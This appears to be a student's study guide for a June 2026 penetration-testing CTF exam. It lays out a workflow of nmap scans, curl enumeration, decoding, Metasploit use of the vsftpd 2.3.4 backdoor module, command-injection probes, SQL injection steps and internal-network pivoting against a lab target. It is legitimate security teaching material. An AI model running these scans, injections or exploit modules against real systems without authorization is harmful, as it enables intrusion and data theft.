IHU Cybersecurity Exam Notes

Source: Juni_2026_Exams/Penetration_Testing/solutions/ctf-exam-2026-verified-guide.md

2026 CTF - Source-Verified Workflow

What Is Verified

The uploaded CTF_ExamCard_2026.pdf states:

injection, decoding, and internal-network pivoting

The card also says it is based on previous exams. Therefore, its example ports, passwords, endpoints, IPs, and flag locations are historical hints, not verified answers for the June 2026 instance.

Phase 1 - Build the Attack-Surface Map

export TARGET=127.0.0.1
mkdir -p exam/{scans,web,loot}
cd exam
nmap -Pn -sV -p- "$TARGET" -oA scans/all-tcp

Convert the result into a table:

Port Service/version First test Result Follow-up

Then run targeted default scripts:

nmap -Pn -sC -sV -p <OPEN_PORTS> "$TARGET" -oA scans/detail

Why: prior exam material uses services on non-default ports. A default top-1000 scan can miss them.

Phase 2 - Collect Fast Web Flags

For every HTTP port:

BASE="http://$TARGET:<PORT>"
curl -i "$BASE/" | tee web/port-<PORT>-root.txt
curl -s "$BASE/robots.txt" | tee web/port-<PORT>-robots.txt
curl -s "$BASE/" | grep -Ein 'flag|secret|token|pass'

Inspect source and JavaScript for paths or API endpoints. Request each found path explicitly.

For downloaded assets:

curl -fSLO "$BASE/<FILE>"
file <FILE>
exiftool <FILE>
strings -a <FILE> | grep -Ei 'flag|secret|token'

For encoded values:

printf '%s' '<BASE64>' | base64 -d
printf '%s' '<HEX>' | xxd -r -p

The historical card specifically warns that a JSON data field was hex-encoded. The general lesson is to inspect the representation of every API value, not to assume the old endpoint still exists.

Phase 3 - Enumerate Every Service

Use the real service and port from Nmap:

nc -nv "$TARGET" <PORT>
ftp "$TARGET" <FTP_PORT>
ssh -p <SSH_PORT> <USER>@"$TARGET"
mysql -h "$TARGET" -P <MYSQL_PORT> -u <USER> -p

Check banners and files before exploiting. Anonymous FTP and weak database credentials are possibilities to test, not assumptions.

Phase 4 - Confirm Before Exploiting

If Nmap identifies a vulnerable-looking version:

searchsploit <PRODUCT> <VERSION>

In Metasploit:

search <PRODUCT> <VERSION>
info <MODULE>
use <MODULE>
show options
set RHOSTS <TARGET>
set RPORT <ACTUAL_PORT>
check
run

For confirmed vsftpd 2.3.4 in the lab, the card points to:

exploit/unix/ftp/vsftpd_234_backdoor

Do not force this module against a different version or assume the historical port 2121.

Phase 5 - Validate Web Injection Carefully

For command injection, first establish a baseline and use harmless commands:

curl "$BASE/<PATH>?<PARAM>=id"
curl "$BASE/<PATH>?<PARAM>=pwd"

Only after proving execution should you inspect the challenge's stated flag location.

For SQL injection:

  1. Capture a normal request.
  2. Identify the parameter and database behavior.
  3. Test a quote and observe the difference.
  4. Test the course's login-bypass pattern.
  5. Determine column count and visible columns before a UNION query.
  6. Extract only the CTF data required for the flag.

The old card's table and column names are examples and may not match.

Phase 6 - Do Not Miss the Internal Network

After obtaining a shell:

id
hostname
ip addr
ip route
ss -lntup

If an additional lab subnet exists:

nmap -sn <INTERNAL_LAB_SUBNET>
nmap -sT -sV -p- <INTERNAL_HOST>

Then apply the same service-first workflow from the new network position:

curl -i http://<INTERNAL_HOST>:<PORT>/
nc -nv <INTERNAL_HOST> <PORT>

Historical material suggests internal HTTP, FTP/banner, custom TCP, database, or SSH services. Treat that as a checklist of service types, not a fixed topology.

Phase 7 - Answer Quality

For every flag:

FLAG_XX: <32-character hexadecimal value>
Source: <host/path/service>
Command: <exact command>
Evidence: <relevant output or screenshot>

Validate:

printf '%s\n' '<VALUE>' | grep -E '^[0-9a-fA-F]{32}$'

Common Failure Modes

This guide is verified against the uploaded source material at the workflow level. Actual June 2026 flag values can only be verified inside the exam instance.